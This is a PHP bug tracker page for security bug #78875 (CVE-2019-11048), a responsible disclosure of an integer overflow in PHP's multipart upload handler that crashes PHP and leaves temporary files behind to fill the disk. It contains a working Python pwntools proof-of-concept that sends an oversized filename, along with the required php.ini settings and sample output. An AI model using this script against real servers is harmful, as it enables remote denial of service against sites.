|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #78875 Long filenames cause OOM and temp files are not cleaned
Submitted: 2019-11-28 11:04 UTC Modified: 2020-05-11 21:22 UTC
From: jr at coredu dot mp Assigned: stas (profile)
Status: Closed Package: *Web Server problem
PHP Version: 7.2.25 OS: ALL
Private report: No CVE-ID: 2019-11048
 [2019-11-28 11:04 UTC] jr at coredu dot mp
There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload.
A large filename causes an integer overflow that leads to a subsequent crash.
The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files, all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack.

Required php.ini settings:

; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC)
; For the POC attached to this bug report, please use 2147483873 or more.
post_max_size = 2147483873
; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this
; so set upload_max_filesize to 0
upload_max_filesize = 0
; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side
memory_limit = 4GB

The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large filenames:

/* is_arr_upload is true when name of file upload field
* ends in [.*]
* start_arr is set to point to 1st [ */
is_arr_upload =	(start_arr = strchr(param,'[')) && (param[strlen(param)-1] == ']');

if (is_arr_upload) {
    array_len = (int)strlen(start_arr);
    if (array_index) {
    array_index = estrndup(start_arr + 1, array_len - 2);

If we upload a file with a array-like name that exceeds the maximum positive 32 bit integer, array_len will be set to a negative value.
During the subsequent estrndup(), array_len will be converted to a 64 bit integer that is extremely large and the memory allocation will fail.
This causes the script to abruptly exit and the already uploaded temporary files are not deleted.

Example run of attached POC:

root@vagrant:/var/www/html# ls /tmp/php*
ls: cannot access '/tmp/php*': No such file or directory
root@vagrant:/var/www/html# python 
[+] Opening connection to on port 80: Done
sending payload with size 2147483873
[*] Switching to interactive mode
HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 18 Nov 2019 05:31:13 GMT
Content-Type: text/html
Content-Length: 182
Connection: keep-alive

<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
[*] Closed connection to port 80
root@vagrant:/var/www/html# ls /tmp/php*
root@vagrant:/var/www/html# cat /tmp/phpbwGfJu 

Please note that the python POC requires the pwntools library (pip install pwntools).
It posts to localhost:80/poc.php - modify the http request if required, the contents of poc.php do not matter.

Test script:
#!/usr/bin/env python

from pwn import *

r = remote("", 80)

boundary = "FOO"

def line(s):
    return "%s\n" %s

buf2 = ""
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="test"; filename="test"')
buf2 += line("")
buf2 += line("test"*0x10)
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="foo[%s]"; filename="bar"' % ("a"*(0x7FFFFFFF)))
buf2 += line("")
buf2 += line("a"*0x10)
buf2 += line("--"+boundary+"--")

buf = ""
buf += "POST /poc.php HTTP/1.1\n"
buf += "Host: localhost\n"
buf += "Content-Type: multipart/form-data; boundary=%s\n" % boundary
buf += "Content-Length: %d\n" % len(buf2)
buf += "\n"
print "sending payload with size %d" % len(buf2)
r.send(buf + buf2)

Expected result:
PHP should not crash, created temporary files should be deleted after script finishes

Actual result:
PHP crashes, temporary files remain on disk


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2019-11-29 15:14 UTC] jr at coredu dot mp
-Summary: Long filenames crash PHP and lead to disk exhaustion +Summary: Long filenames cause OOM and temp files are not cleaned -Package: Reproducible crash +Package: *Web Server problem
 [2019-11-29 15:14 UTC] jr at coredu dot mp
Fixed summary and package according to changes made to my other similar submitted bug with ID 78876
 [2019-12-16 08:18 UTC]
-CVE-ID: +CVE-ID: 2019-11048
 [2020-03-18 09:29 UTC]
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:29 UTC]
Suggested fix:

@jr, could you please confirm that the patch fixes the bug?
 [2020-04-21 07:54 UTC] jr at coredu dot mp
I can confirm the patch should fix the bug, thank you!
 [2020-05-11 21:22 UTC]
Automatic comment on behalf of
Log: Fix #78875: Long filenames cause OOM and temp files are not cleaned
 [2020-05-11 21:22 UTC]
-Status: Verified +Status: Closed
 [2020-05-12 07:02 UTC]
Automatic comment on behalf of
Log: Fix #78875: Long filenames cause OOM and temp files are not cleaned
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 19 00:01:29 2024 UTC